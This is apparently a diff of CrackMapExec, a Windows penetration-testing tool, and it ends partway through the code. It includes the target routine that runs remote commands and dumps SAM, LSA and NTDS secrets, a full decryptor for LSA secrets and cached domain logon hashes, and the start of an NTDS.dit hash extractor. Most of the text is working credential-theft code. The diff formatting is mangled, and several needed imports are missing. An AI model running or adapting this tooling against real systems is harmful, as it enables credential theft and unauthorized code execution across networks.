instances = ms_sql.getInstances(10)
|
||||
if len(instances) > 0:
|
||||
logger.info("Found {} MSSQL instance(s)".format(len(instances)))
|
||||
for i, instance in enumerate(instances):
|
||||
logger.highlight("Instance {}".format(i))
|
||||
for key in instance.keys():
|
||||
logger.highlight(key + ":" + instance[key])
|
||||
|
||||
try:
|
||||
ms_sql.disconnect()
|
||||
except:
|
||||
pass
|
||||
|
||||
if args.username and (args.password or args.hash):
|
||||
conn = None
|
||||
|
||||
if args.mssql and (instances is not None and len(instances) > 0):
|
||||
conn = tds.MSSQL(target, args.mssql_port, logger)
|
||||
conn.connect()
|
||||
elif not args.mssql:
|
||||
conn = SMBConnection(target, target, None, args.smb_port)
|
||||
|
||||
if conn is None:
|
||||
return
|
||||
|
||||
if args.domain:
|
||||
domain = args.domain
|
||||
|
||||
connection = Connection(args, db, target, servername, domain, conn, logger, cmeserver)
|
||||
|
||||
if (connection.password is not None or connection.hash is not None) and connection.username is not None:
|
||||
if module is not None:
|
||||
|
||||
module_logger = CMEAdapter(getLogger('CME'), {'module': module.name.upper(), 'host': remote_ip, 'port': args.smb_port, 'hostname': servername})
|
||||
context = Context(db, module_logger, args)
|
||||
context.localip = local_ip
|
||||
cmeserver.server.context.localip = local_ip
|
||||
|
||||
if hasattr(module, 'on_login'):
|
||||
module.on_login(context, connection)
|
||||
|
||||
if hasattr(module, 'on_admin_login') and connection.admin_privs:
|
||||
module.on_admin_login(context, connection)
|
||||
else:
|
||||
if connection.admin_privs and (args.pscommand or args.command):
|
||||
|
||||
get_output = True if args.no_output is False else False
|
||||
if args.mssql: args.exec_method = 'mssqlexec'
|
||||
|
||||
if args.command:
|
||||
output = connection.execute(args.command, get_output=get_output, method=args.exec_method)
|
||||
|
||||
if args.pscommand:
|
||||
output = connection.execute(create_ps_command(args.pscommand), get_output=get_output, method=args.exec_method)
|
||||
|
||||
logger.success('Executed command via {}'.format(args.exec_method))
|
||||
buf = StringIO(output).readlines()
|
||||
for line in buf:
|
||||
logger.highlight(line.strip())
|
||||
|
||||
if args.mssql and args.mssql_query:
|
||||
conn.sql_query(args.mssql_query)
|
||||
query_output = conn.printRows()
|
||||
|
||||
logger.success('Executed MSSQL query')
|
||||
buf = StringIO(query_output).readlines()
|
||||
for line in buf:
|
||||
logger.highlight(line.strip())
|
||||
|
||||
elif not args.mssql:
|
||||
|
||||
if connection.admin_privs and (args.sam or args.lsa or args.ntds):
|
||||
secrets_dump = DumpSecrets(connection, logger)
|
||||
|
||||
if args.sam:
|
||||
secrets_dump.SAM_dump()
|
||||
|
||||
if args.lsa:
|
||||
secrets_dump.LSA_dump()
|
||||
|
||||
if args.ntds:
|
||||
secrets_dump.NTDS_dump(args.ntds, args.ntds_pwdLastSet, args.ntds_history)
|
||||
|
||||
if connection.admin_privs and (args.enable_wdigest or args.disable_wdigest):
|
||||
w_digest = WDIGEST(logger, connection.conn)
|
||||
|
||||
if args.enable_wdigest:
|
||||
w_digest.enable()
|
||||
|
||||
elif args.disable_wdigest:
|
||||
w_digest.disable()
|
||||
|
||||
if connection.admin_privs and args.uac:
|
||||
UAC(connection.conn, logger).enum()
|
||||
|
||||
if args.enum_shares:
|
||||
ShareEnum(connection.conn, logger).enum()
|
||||
|
||||
if args.enum_lusers or args.enum_disks or args.enum_sessions:
|
||||
rpc_connection = RPCQUERY(connection, logger)
|
||||
|
||||
if connection.admin_privs and args.enum_lusers:
|
||||
rpc_connection.enum_lusers()
|
||||
|
||||
if args.enum_sessions:
|
||||
rpc_connection.enum_sessions()
|
||||
|
||||
if connection.admin_privs and args.enum_disks:
|
||||
rpc_connection.enum_disks()
|
||||
|
||||
if args.pass_pol:
|
||||
PassPolDump(logger, args.smb_port, connection).enum()
|
||||
|
||||
if args.enum_users:
|
||||
SAMRDump(logger, args.smb_port, connection).enum()
|
||||
|
||||
if connection.admin_privs and args.wmi_query:
|
||||
WMIQUERY(logger, connection, args.wmi_namespace).query(args.wmi_query)
|
||||
|
||||
if args.rid_brute:
|
||||
LSALookupSid(logger, args.smb_port, connection, args.rid_brute).brute_force()
|
||||
|
||||
except socket.error:
|
||||
return
|
|
@ -0,0 +1,12 @@
|
|||
import logging
|
||||
|
||||
class Context:
|
||||
|
||||
def __init__(self, db, logger, arg_namespace):
|
||||
self.db = db
|
||||
self.log = logger
|
||||
self.log.debug = logging.debug
|
||||
self.localip = None
|
||||
|
||||
for key, value in vars(arg_namespace).iteritems():
|
||||
setattr(self, key, value)
|
|
@ -0,0 +1,148 @@
|
|||
from impacket.structure import Structure
|
||||
|
||||
# Structures
|
||||
# Taken from http://insecurety.net/?p=768
|
||||
class SAM_KEY_DATA(Structure):
|
||||
structure = (
|
||||
('Revision','<L=0'),
|
||||
('Length','<L=0'),
|
||||
('Salt','16s=""'),
|
||||
('Key','16s=""'),
|
||||
('CheckSum','16s=""'),
|
||||
('Reserved','<Q=0'),
|
||||
)
|
||||
|
||||
class DOMAIN_ACCOUNT_F(Structure):
|
||||
structure = (
|
||||
('Revision','<L=0'),
|
||||
('Unknown','<L=0'),
|
||||
('CreationTime','<Q=0'),
|
||||
('DomainModifiedCount','<Q=0'),
|
||||
('MaxPasswordAge','<Q=0'),
|
||||
('MinPasswordAge','<Q=0'),
|
||||
('ForceLogoff','<Q=0'),
|
||||
('LockoutDuration','<Q=0'),
|
||||
('LockoutObservationWindow','<Q=0'),
|
||||
('ModifiedCountAtLastPromotion','<Q=0'),
|
||||
('NextRid','<L=0'),
|
||||
('PasswordProperties','<L=0'),
|
||||
('MinPasswordLength','<H=0'),
|
||||
('PasswordHistoryLength','<H=0'),
|
||||
('LockoutThreshold','<H=0'),
|
||||
('Unknown2','<H=0'),
|
||||
('ServerState','<L=0'),
|
||||
('ServerRole','<H=0'),
|
||||
('UasCompatibilityRequired','<H=0'),
|
||||
('Unknown3','<Q=0'),
|
||||
('Key0',':', SAM_KEY_DATA),
|
||||
# Commenting this, not needed and not present on Windows 2000 SP0
|
||||
# ('Key1',':', SAM_KEY_DATA),
|
||||
# ('Unknown4','<L=0'),
|
||||
)
|
||||
|
||||
# Great help from here http://www.beginningtoseethelight.org/ntsecurity/index.htm
|
||||
class USER_ACCOUNT_V(Structure):
|
||||
structure = (
|
||||
('Unknown','12s=""'),
|
||||
('NameOffset','<L=0'),
|
||||
('NameLength','<L=0'),
|
||||
('Unknown2','<L=0'),
|
||||
('FullNameOffset','<L=0'),
|
||||
('FullNameLength','<L=0'),
|
||||
('Unknown3','<L=0'),
|
||||
('CommentOffset','<L=0'),
|
||||
('CommentLength','<L=0'),
|
||||
('Unknown3','<L=0'),
|
||||
('UserCommentOffset','<L=0'),
|
||||
('UserCommentLength','<L=0'),
|
||||
('Unknown4','<L=0'),
|
||||
('Unknown5','12s=""'),
|
||||
('HomeDirOffset','<L=0'),
|
||||
('HomeDirLength','<L=0'),
|
||||
('Unknown6','<L=0'),
|
||||
('HomeDirConnectOffset','<L=0'),
|
||||
('HomeDirConnectLength','<L=0'),
|
||||
('Unknown7','<L=0'),
|
||||
('ScriptPathOffset','<L=0'),
|
||||
('ScriptPathLength','<L=0'),
|
||||
('Unknown8','<L=0'),
|
||||
('ProfilePathOffset','<L=0'),
|
||||
('ProfilePathLength','<L=0'),
|
||||
('Unknown9','<L=0'),
|
||||
('WorkstationsOffset','<L=0'),
|
||||
('WorkstationsLength','<L=0'),
|
||||
('Unknown10','<L=0'),
|
||||
('HoursAllowedOffset','<L=0'),
|
||||
('HoursAllowedLength','<L=0'),
|
||||
('Unknown11','<L=0'),
|
||||
('Unknown12','12s=""'),
|
||||
('LMHashOffset','<L=0'),
|
||||
('LMHashLength','<L=0'),
|
||||
('Unknown13','<L=0'),
|
||||
('NTHashOffset','<L=0'),
|
||||
('NTHashLength','<L=0'),
|
||||
('Unknown14','<L=0'),
|
||||
('Unknown15','24s=""'),
|
||||
('Data',':=""'),
|
||||
)
|
||||
|
||||
class NL_RECORD(Structure):
|
||||
structure = (
|
||||
('UserLength','<H=0'),
|
||||
('DomainNameLength','<H=0'),
|
||||
('EffectiveNameLength','<H=0'),
|
||||
('FullNameLength','<H=0'),
|
||||
('MetaData','52s=""'),
|
||||
('FullDomainLength','<H=0'),
|
||||
('Length2','<H=0'),
|
||||
('CH','16s=""'),
|
||||
('T','16s=""'),
|
||||
('EncryptedData',':'),
|
||||
)
|
||||
|
||||
|
||||
class SAMR_RPC_SID_IDENTIFIER_AUTHORITY(Structure):
|
||||
structure = (
|
||||
('Value','6s'),
|
||||
)
|
||||
|
||||
class SAMR_RPC_SID(Structure):
|
||||
structure = (
|
||||
('Revision','<B'),
|
||||
('SubAuthorityCount','<B'),
|
||||
('IdentifierAuthority',':',SAMR_RPC_SID_IDENTIFIER_AUTHORITY),
|
||||
('SubLen','_-SubAuthority','self["SubAuthorityCount"]*4'),
|
||||
('SubAuthority',':'),
|
||||
)
|
||||
|
||||
def formatCanonical(self):
|
||||
ans = 'S-%d-%d' % (self['Revision'], ord(self['IdentifierAuthority']['Value'][5]))
|
||||
for i in range(self['SubAuthorityCount']):
|
||||
ans += '-%d' % ( unpack('>L',self['SubAuthority'][i*4:i*4+4])[0])
|
||||
return ans
|
||||
|
||||
class LSA_SECRET_BLOB(Structure):
|
||||
structure = (
|
||||
('Length','<L=0'),
|
||||
('Unknown','12s=""'),
|
||||
('_Secret','_-Secret','self["Length"]'),
|
||||
('Secret',':'),
|
||||
('Remaining',':'),
|
||||
)
|
||||
|
||||
class LSA_SECRET(Structure):
|
||||
structure = (
|
||||
('Version','<L=0'),
|
||||
('EncKeyID','16s=""'),
|
||||
('EncAlgorithm','<L=0'),
|
||||
('Flags','<L=0'),
|
||||
('EncryptedData',':'),
|
||||
)
|
||||
|
||||
class LSA_SECRET_XP(Structure):
|
||||
structure = (
|
||||
('Length','<L=0'),
|
||||
('Version','<L=0'),
|
||||
('_Secret','_-Secret', 'self["Length"]'),
|
||||
('Secret', ':'),
|
||||
)
|
|
@ -0,0 +1,32 @@
|
|||
from struct import pack
|
||||
|
||||
class CryptoCommon:
|
||||
# Common crypto stuff used over different classes
|
||||
def transformKey(self, InputKey):
|
||||
# Section 2.2.11.1.2 Encrypting a 64-Bit Block with a 7-Byte Key
|
||||
OutputKey = []
|
||||
OutputKey.append( chr(ord(InputKey[0]) >> 0x01) )
|
||||
OutputKey.append( chr(((ord(InputKey[0])&0x01)<<6) | (ord(InputKey[1])>>2)) )
|
||||
OutputKey.append( chr(((ord(InputKey[1])&0x03)<<5) | (ord(InputKey[2])>>3)) )
|
||||
OutputKey.append( chr(((ord(InputKey[2])&0x07)<<4) | (ord(InputKey[3])>>4)) )
|
||||
OutputKey.append( chr(((ord(InputKey[3])&0x0F)<<3) | (ord(InputKey[4])>>5)) )
|
||||
OutputKey.append( chr(((ord(InputKey[4])&0x1F)<<2) | (ord(InputKey[5])>>6)) )
|
||||
OutputKey.append( chr(((ord(InputKey[5])&0x3F)<<1) | (ord(InputKey[6])>>7)) )
|
||||
OutputKey.append( chr(ord(InputKey[6]) & 0x7F) )
|
||||
|
||||
for i in range(8):
|
||||
OutputKey[i] = chr((ord(OutputKey[i]) << 1) & 0xfe)
|
||||
|
||||
return "".join(OutputKey)
|
||||
|
||||
def deriveKey(self, baseKey):
|
||||
# 2.2.11.1.3 Deriving Key1 and Key2 from a Little-Endian, Unsigned Integer Key
|
||||
# Let I be the little-endian, unsigned integer.
|
||||
# Let I[X] be the Xth byte of I, where I is interpreted as a zero-base-index array of bytes.
|
||||
# Note that because I is in little-endian byte order, I[0] is the least significant byte.
|
||||
# Key1 is a concatenation of the following values: I[0], I[1], I[2], I[3], I[0], I[1], I[2].
|
||||
# Key2 is a concatenation of the following values: I[3], I[0], I[1], I[2], I[3], I[0], I[1]
|
||||
key = pack('<L',baseKey)
|
||||
key1 = key[0] + key[1] + key[2] + key[3] + key[0] + key[1] + key[2]
|
||||
key2 = key[3] + key[0] + key[1] + key[2] + key[3] + key[0] + key[1]
|
||||
return self.transformKey(key1),self.transformKey(key2)
|
|
@ -0,0 +1,315 @@
|
|||
from core.credentials.offlineregistry import OfflineRegistry
|
||||
from core.credentials.cryptocommon import CryptoCommon
|
||||
from core.credentials.commonstructs import LSA_SECRET, LSA_SECRET_BLOB, NL_RECORD
|
||||
from impacket import ntlm
|
||||
from impacket.winregistry import hexdump
|
||||
from Crypto.Cipher import AES
|
||||
from Crypto.Hash import MD4
|
||||
from binascii import hexlify
|
||||
import logging
|
||||
import ntpath
|
||||
import hashlib
|
||||
import codecs
|
||||
|
||||
class LSASecrets(OfflineRegistry):
|
||||
def __init__(self, securityFile, bootKey, logger, remoteOps = None, isRemote = False):
|
||||
OfflineRegistry.__init__(self,securityFile, isRemote)
|
||||
self.__hashedBootKey = ''
|
||||
self.__bootKey = bootKey
|
||||
self.__LSAKey = ''
|
||||
self.__NKLMKey = ''
|
||||
self.__isRemote = isRemote
|
||||
self.__vistaStyle = True
|
||||
self.__cryptoCommon = CryptoCommon()
|
||||
self.__securityFile = securityFile
|
||||
self.__logger = logger
|
||||
self.__remoteOps = remoteOps
|
||||
self.__cachedItems = []
|
||||
self.__secretItems = []
|
||||
|
||||
def MD5(self, data):
|
||||
md5 = hashlib.new('md5')
|
||||
md5.update(data)
|
||||
return md5.digest()
|
||||
|
||||
def __sha256(self, key, value, rounds=1000):
|
||||
sha = hashlib.sha256()
|
||||
sha.update(key)
|
||||
for i in range(1000):
|
||||
sha.update(value)
|
||||
return sha.digest()
|
||||
|
||||
def __decryptAES(self, key, value, iv='\x00'*16):
|
||||
plainText = ''
|
||||
if iv != '\x00'*16:
|
||||
aes256 = AES.new(key,AES.MODE_CBC, iv)
|
||||
|
||||
for index in range(0, len(value), 16):
|
||||
if iv == '\x00'*16:
|
||||
aes256 = AES.new(key,AES.MODE_CBC, iv)
|
||||
cipherBuffer = value[index:index+16]
|
||||
# Pad buffer to 16 bytes
|
||||
if len(cipherBuffer) < 16:
|
||||
cipherBuffer += '\x00' * (16-len(cipherBuffer))
|
||||
plainText += aes256.decrypt(cipherBuffer)
|
||||
|
||||
return plainText
|
||||
|
||||
def __decryptSecret(self, key, value):
|
||||
# [MS-LSAD] Section 5.1.2
|
||||
plainText = ''
|
||||
|
||||
encryptedSecretSize = unpack('<I', value[:4])[0]
|
||||
value = value[len(value)-encryptedSecretSize:]
|
||||
|
||||
key0 = key
|
||||
for i in range(0, len(value), 8):
|
||||
cipherText = value[:8]
|
||||
tmpStrKey = key0[:7]
|
||||
tmpKey = self.__cryptoCommon.transformKey(tmpStrKey)
|
||||
Crypt1 = DES.new(tmpKey, DES.MODE_ECB)
|
||||
plainText += Crypt1.decrypt(cipherText)
|
||||
key0 = key0[7:]
|
||||
value = value[8:]
|
||||
# AdvanceKey
|
||||
if len(key0) < 7:
|
||||
key0 = key[len(key0):]
|
||||
|
||||
secret = LSA_SECRET_XP(plainText)
|
||||
return secret['Secret']
|
||||
|
||||
def __decryptHash(self, key, value, iv):
|
||||
hmac_md5 = HMAC.new(key,iv)
|
||||
rc4key = hmac_md5.digest()
|
||||
|
||||
rc4 = ARC4.new(rc4key)
|
||||
data = rc4.encrypt(value)
|
||||
return data
|
||||
|
||||
def __decryptLSA(self, value):
|
||||
if self.__vistaStyle is True:
|
||||
# ToDo: There could be more than one LSA Keys
|
||||
record = LSA_SECRET(value)
|
||||
tmpKey = self.__sha256(self.__bootKey, record['EncryptedData'][:32])
|
||||
plainText = self.__decryptAES(tmpKey, record['EncryptedData'][32:])
|
||||
record = LSA_SECRET_BLOB(plainText)
|
||||
self.__LSAKey = record['Secret'][52:][:32]
|
||||
|
||||
else:
|
||||
md5 = hashlib.new('md5')
|
||||
md5.update(self.__bootKey)
|
||||
for i in range(1000):
|
||||
md5.update(value[60:76])
|
||||
tmpKey = md5.digest()
|
||||
rc4 = ARC4.new(tmpKey)
|
||||
plainText = rc4.decrypt(value[12:60])
|
||||
self.__LSAKey = plainText[0x10:0x20]
|
||||
|
||||
def __getLSASecretKey(self):
|
||||
logging.debug('Decrypting LSA Key')
|
||||
# Let's try the key post XP
|
||||
value = self.getValue('\\Policy\\PolEKList\\default')
|
||||
if value is None:
|
||||
logging.debug('PolEKList not found, trying PolSecretEncryptionKey')
|
||||
# Second chance
|
||||
value = self.getValue('\\Policy\\PolSecretEncryptionKey\\default')
|
||||
self.__vistaStyle = False
|
||||
if value is None:
|
||||
# No way :(
|
||||
return None
|
||||
|
||||
self.__decryptLSA(value[1])
|
||||
|
||||
def __getNLKMSecret(self):
|
||||
logging.debug('Decrypting NL$KM')
|
||||
value = self.getValue('\\Policy\\Secrets\\NL$KM\\CurrVal\\default')
|
||||
if value is None:
|
||||
raise Exception("Couldn't get NL$KM value")
|
||||
if self.__vistaStyle is True:
|
||||
record = LSA_SECRET(value[1])
|
||||
tmpKey = self.__sha256(self.__LSAKey, record['EncryptedData'][:32])
|
||||
self.__NKLMKey = self.__decryptAES(tmpKey, record['EncryptedData'][32:])
|
||||
else:
|
||||
self.__NKLMKey = self.__decryptSecret(self.__LSAKey, value[1])
|
||||
|
||||
def __pad(self, data):
|
||||
if (data & 0x3) > 0:
|
||||
return data + (data & 0x3)
|
||||
else:
|
||||
return data
|
||||
|
||||
def dumpCachedHashes(self):
|
||||
if self.__securityFile is None:
|
||||
# No SECURITY file provided
|
||||
return
|
||||
|
||||
self.__logger.success('Dumping cached domain logon information (uid:encryptedHash:longDomain:domain)')
|
||||
|
||||
# Let's first see if there are cached entries
|
||||
values = self.enumValues('\\Cache')
|
||||
if values is None:
|
||||
# No cache entries
|
||||
return
|
||||
try:
|
||||
# Remove unnecesary value
|
||||
values.remove('NL$Control')
|
||||
except:
|
||||
pass
|
||||
|
||||
self.__getLSASecretKey()
|
||||
self.__getNLKMSecret()
|
||||
|
||||
for value in values:
|
||||
logging.debug('Looking into %s' % value)
|
||||
record = NL_RECORD(self.getValue(ntpath.join('\\Cache',value))[1])
|
||||
if record['CH'] != 16 * '\x00':
|
||||
if self.__vistaStyle is True:
|
||||
plainText = self.__decryptAES(self.__NKLMKey[16:32], record['EncryptedData'], record['CH'])
|
||||
else:
|
||||
plainText = self.__decryptHash(self.__NKLMKey, record['EncryptedData'], record['CH'])
|
||||
pass
|
||||
encHash = plainText[:0x10]
|
||||
plainText = plainText[0x48:]
|
||||
userName = plainText[:record['UserLength']].decode('utf-16le')
|
||||
plainText = plainText[self.__pad(record['UserLength']):]
|
||||
domain = plainText[:record['DomainNameLength']].decode('utf-16le')
|
||||
plainText = plainText[self.__pad(record['DomainNameLength']):]
|
||||
domainLong = plainText[:self.__pad(record['FullDomainLength'])].decode('utf-16le')
|
||||
answer = "%s:%s:%s:%s:::" % (userName, hexlify(encHash), domainLong, domain)
|
||||
self.__cachedItems.append(answer)
|
||||
self.__logger.highlight(answer)
|
||||
|
||||
def __printSecret(self, name, secretItem):
|
||||
# Based on [MS-LSAD] section 3.1.1.4
|
||||
|
||||
# First off, let's discard NULL secrets.
|
||||
if len(secretItem) == 0:
|
||||
logging.debug('Discarding secret %s, NULL Data' % name)
|
||||
return
|
||||
|
||||
# We might have secrets with zero
|
||||
if secretItem.startswith('\x00\x00'):
|
||||
logging.debug('Discarding secret %s, all zeros' % name)
|
||||
return
|
||||
|
||||
upperName = name.upper()
|
||||
|
||||
logging.info('%s ' % name)
|
||||
|
||||
secret = ''
|
||||
|
||||
if upperName.startswith('_SC_'):
|
||||
# Service name, a password might be there
|
||||
# Let's first try to decode the secret
|
||||
try:
|
||||
strDecoded = secretItem.decode('utf-16le')
|
||||
except:
|
||||
pass
|
||||
else:
|
||||
# We have to get the account the service
|
||||
# runs under
|
||||
if self.__isRemote is True:
|
||||
account = self.__remoteOps.getServiceAccount(name[4:])
|
||||
if account is None:
|
||||
secret = '(Unknown User):'
|
||||
else:
|
||||
secret = "%s:" % account
|
||||
else:
|
||||
# We don't support getting this info for local targets at the moment
|
||||
secret = '(Unknown User):'
|
||||
secret += strDecoded
|
||||
elif upperName.startswith('DEFAULTPASSWORD'):
|
||||
# defaults password for winlogon
|
||||
# Let's first try to decode the secret
|
||||
try:
|
||||
strDecoded = secretItem.decode('utf-16le')
|
||||
except:
|
||||
pass
|
||||
else:
|
||||
# We have to get the account this password is for
|
||||
if self.__isRemote is True:
|
||||
account = self.__remoteOps.getDefaultLoginAccount()
|
||||
if account is None:
|
||||
secret = '(Unknown User):'
|
||||
else:
|
||||
secret = "%s:" % account
|
||||
else:
|
||||
# We don't support getting this info for local targets at the moment
|
||||
secret = '(Unknown User):'
|
||||
secret += strDecoded
|
||||
elif upperName.startswith('ASPNET_WP_PASSWORD'):
|
||||
try:
|
||||
strDecoded = secretItem.decode('utf-16le')
|
||||
except:
|
||||
pass
|
||||
else:
|
||||
secret = 'ASPNET: %s' % strDecoded
|
||||
elif upperName.startswith('$MACHINE.ACC'):
|
||||
# compute MD4 of the secret.. yes.. that is the nthash? :-o
|
||||
md4 = MD4.new()
|
||||
md4.update(secretItem)
|
||||
if self.__isRemote is True:
|
||||
machine, domain = self.__remoteOps.getMachineNameAndDomain()
|
||||
secret = "%s\\%s$:%s:%s:::" % (domain, machine, hexlify(ntlm.LMOWFv1('','')), hexlify(md4.digest()))
|
||||
else:
|
||||
secret = "$MACHINE.ACC: %s:%s" % (hexlify(ntlm.LMOWFv1('','')), hexlify(md4.digest()))
|
||||
|
||||
if secret != '':
|
||||
self.__secretItems.append(secret)
|
||||
self.__logger.highlight(secret)
|
||||
else:
|
||||
# Default print, hexdump
|
||||
self.__secretItems.append('%s:%s' % (name, hexlify(secretItem)))
|
||||
self.__logger.highlight('{}:{}'.format(name, hexlify(secretItem)))
|
||||
#hexdump(secretItem)
|
||||
|
||||
def dumpSecrets(self):
|
||||
if self.__securityFile is None:
|
||||
# No SECURITY file provided
|
||||
return
|
||||
|
||||
self.__logger.success('Dumping LSA Secrets')
|
||||
|
||||
# Let's first see if there are cached entries
|
||||
keys = self.enumKey('\\Policy\\Secrets')
|
||||
if keys is None:
|
||||
# No entries
|
||||
return
|
||||
try:
|
||||
# Remove unnecesary value
|
||||
keys.remove('NL$Control')
|
||||
except:
|
||||
pass
|
||||
|
||||
if self.__LSAKey == '':
|
||||
self.__getLSASecretKey()
|
||||
|
||||
for key in keys:
|
||||
logging.debug('Looking into %s' % key)
|
||||
value = self.getValue('\\Policy\\Secrets\\%s\\CurrVal\\default' % key)
|
||||
|
||||
if value is not None:
|
||||
if self.__vistaStyle is True:
|
||||
record = LSA_SECRET(value[1])
|
||||
tmpKey = self.__sha256(self.__LSAKey, record['EncryptedData'][:32])
|
||||
plainText = self.__decryptAES(tmpKey, record['EncryptedData'][32:])
|
||||
record = LSA_SECRET_BLOB(plainText)
|
||||
secret = record['Secret']
|
||||
else:
|
||||
secret = self.__decryptSecret(self.__LSAKey, value[1])
|
||||
|
||||
self.__printSecret(key, secret)
|
||||
|
||||
def exportSecrets(self, fileName):
|
||||
if len(self.__secretItems) > 0:
|
||||
fd = codecs.open(fileName+'.secrets','w+', encoding='utf-8')
|
||||
for item in self.__secretItems:
|
||||
fd.write(item+'\n')
|
||||
fd.close()
|
||||
|
||||
def exportCached(self, fileName):
|
||||
if len(self.__cachedItems) > 0:
|
||||
fd = codecs.open(fileName+'.cached','w+', encoding='utf-8')
|
||||
for item in self.__cachedItems:
|
||||
fd.write(item+'\n')
|
||||
fd.close()
|
|
@ -0,0 +1,693 @@
|
|||
from impacket.structure import Structure
|
||||
from impacket.dcerpc.v5 import drsuapi
|
||||
from impacket.nt_errors import STATUS_MORE_ENTRIES
|
||||
from collections import OrderedDict
|
||||
from impacket import ntlm
|
||||
from binascii import hexlify, unhexlify
|
||||
from struct import unpack
|
||||
from datetime import datetime
|
||||
from core.credentials.cryptocommon import CryptoCommon
|
||||
from impacket.ese import ESENT_DB
|
||||
import logging
|
||||
import random
|
||||
import string
|
||||
import os
|
||||
import traceback
|
||||
import codecs
|
||||
|
||||
class NTDSHashes:
|
||||
NAME_TO_INTERNAL = {
|
||||
'uSNCreated':'ATTq131091',
|
||||
'uSNChanged':'ATTq131192',
|
||||
'name':'ATTm3',
|
||||
'objectGUID':'ATTk589826',
|
||||
'objectSid':'ATTr589970',
|
||||
'userAccountControl':'ATTj589832',
|
||||
'primaryGroupID':'ATTj589922',
|
||||
'accountExpires':'ATTq589983',
|
||||
'logonCount':'ATTj589993',
|
||||
'sAMAccountName':'ATTm590045',
|
||||
'sAMAccountType':'ATTj590126',
|
||||
'lastLogonTimestamp':'ATTq589876',
|
||||
'userPrincipalName':'ATTm590480',
|
||||
'unicodePwd':'ATTk589914',
|
||||
'dBCSPwd':'ATTk589879',
|
||||
'ntPwdHistory':'ATTk589918',
|
||||
'lmPwdHistory':'ATTk589984',
|
||||
'pekList':'ATTk590689',
|
||||
'supplementalCredentials':'ATTk589949',
|
||||
'pwdLastSet':'ATTq589920',
|
||||
}
|
||||
|
||||
NAME_TO_ATTRTYP = {
|
||||
'userPrincipalName': 0x90290,
|
||||
'sAMAccountName': 0x900DD,
|
||||
'unicodePwd': 0x9005A,
|
||||
'dBCSPwd': 0x90037,
|
||||
'ntPwdHistory': 0x9005E,
|
||||
'lmPwdHistory': 0x900A0,
|
||||
'supplementalCredentials': 0x9007D,
|
||||
'objectSid': 0x90092,
|
||||
}
|
||||
|
||||
ATTRTYP_TO_ATTID = {
|
||||
'userPrincipalName': '1.2.840.113556.1.4.656',
|
||||
'sAMAccountName': '1.2.840.113556.1.4.221',
|
||||
'unicodePwd': '1.2.840.113556.1.4.90',
|
||||
'dBCSPwd': '1.2.840.113556.1.4.55',
|
||||
'ntPwdHistory': '1.2.840.113556.1.4.94',
|
||||
'lmPwdHistory': '1.2.840.113556.1.4.160',
|
||||
'supplementalCredentials': '1.2.840.113556.1.4.125',
|
||||
'objectSid': '1.2.840.113556.1.4.146',
|
||||
'pwdLastSet': '1.2.840.113556.1.4.96',
|
||||
}
|
||||
|
||||
KERBEROS_TYPE = {
|
||||
1:'dec-cbc-crc',
|
||||
3:'des-cbc-md5',
|
||||
17:'aes128-cts-hmac-sha1-96',
|
||||
18:'aes256-cts-hmac-sha1-96',
|
||||
0xffffff74:'rc4_hmac',
|
||||
}
|
||||
|
||||
INTERNAL_TO_NAME = dict((v,k) for k,v in NAME_TO_INTERNAL.iteritems())
|
||||
|
||||
SAM_NORMAL_USER_ACCOUNT = 0x30000000
|
||||
SAM_MACHINE_ACCOUNT = 0x30000001
|
||||
SAM_TRUST_ACCOUNT = 0x30000002
|
||||
|
||||
ACCOUNT_TYPES = ( SAM_NORMAL_USER_ACCOUNT, SAM_MACHINE_ACCOUNT, SAM_TRUST_ACCOUNT)
|
||||
|
||||
class PEKLIST_ENC(Structure):
|
||||
structure = (
|
||||
('Header','8s=""'),
|
||||
('KeyMaterial','16s=""'),
|
||||
('EncryptedPek',':'),
|
||||
)
|
||||
|
||||
class PEKLIST_PLAIN(Structure):
|
||||
structure = (
|
||||
('Header','32s=""'),
|
||||
('DecryptedPek',':'),
|
||||
)
|
||||
|
||||
class PEK_KEY(Structure):
|
||||
structure = (
|
||||
('Header','1s=""'),
|
||||
('Padding','3s=""'),
|
||||
('Key','16s=""'),
|
||||
)
|
||||
|
||||
class CRYPTED_HASH(Structure):
|
||||
structure = (
|
||||
('Header','8s=""'),
|
||||
('KeyMaterial','16s=""'),
|
||||
('EncryptedHash','16s=""'),
|
||||
)
|
||||
|
||||
class CRYPTED_HISTORY(Structure):
|
||||
structure = (
|
||||
('Header','8s=""'),
|
||||
('KeyMaterial','16s=""'),
|
||||
('EncryptedHash',':'),
|
||||
)
|
||||
|
||||
class CRYPTED_BLOB(Structure):
|
||||
structure = (
|
||||
('Header','8s=""'),
|
||||
('KeyMaterial','16s=""'),
|
||||
('EncryptedHash',':'),
|
||||
)
|
||||
|
||||
def __init__(self, ntdsFile, bootKey, logger, isRemote=False, history=False, noLMHash=True, remoteOps=None,
|
||||
useVSSMethod=False, justNTLM=False, pwdLastSet=False, resumeSession=None, outputFileName=None):
|
||||
self.__bootKey = bootKey
|
||||
self.__logger = logger
|
||||
self.__NTDS = ntdsFile
|
||||
self.__history = history
|
||||
self.__noLMHash = noLMHash
|
||||
self.__useVSSMethod = useVSSMethod
|
||||
self.__remoteOps = remoteOps
|
||||
self.__pwdLastSet = pwdLastSet
|
||||
if self.__NTDS is not None:
|
||||
self.__ESEDB = ESENT_DB(ntdsFile, isRemote = isRemote)
|
||||
self.__cursor = self.__ESEDB.openTable('datatable')
|
||||
self.__tmpUsers = list()
|
||||
self.__PEK = list()
|
||||
self.__cryptoCommon = CryptoCommon()
|
||||
self.__kerberosKeys = OrderedDict()
|
||||
self.__clearTextPwds = OrderedDict()
|
||||
self.__justNTLM = justNTLM
|
||||
self.__savedSessionFile = resumeSession
|
||||
self.__resumeSessionFile = None
|
||||
self.__outputFileName = outputFileName
|
||||
|
||||
def getResumeSessionFile(self):
|
||||
return self.__resumeSessionFile
|
||||
|
||||
def __getPek(self):
|
||||
logging.info('Searching for pekList, be patient')
|
||||
peklist = None
|
||||
while True:
|
||||
record = self.__ESEDB.getNextRow(self.__cursor)
|
||||
if record is None:
|
||||
break
|
||||
elif record[self.NAME_TO_INTERNAL['pekList']] is not None:
|
||||
peklist = unhexlify(record[self.NAME_TO_INTERNAL['pekList']])
|
||||
break
|
||||
elif record[self.NAME_TO_INTERNAL['sAMAccountType']] in self.ACCOUNT_TYPES:
|
||||
# Okey.. we found some users, but we're not yet ready to process them.
|
||||
# Let's just store them in a temp list
|
||||
self.__tmpUsers.append(record)
|
||||
|
||||
if peklist is not None:
|
||||
encryptedPekList = self.PEKLIST_ENC(peklist)
|
||||
md5 = hashlib.new('md5')
|
||||
md5.update(self.__bootKey)
|
||||
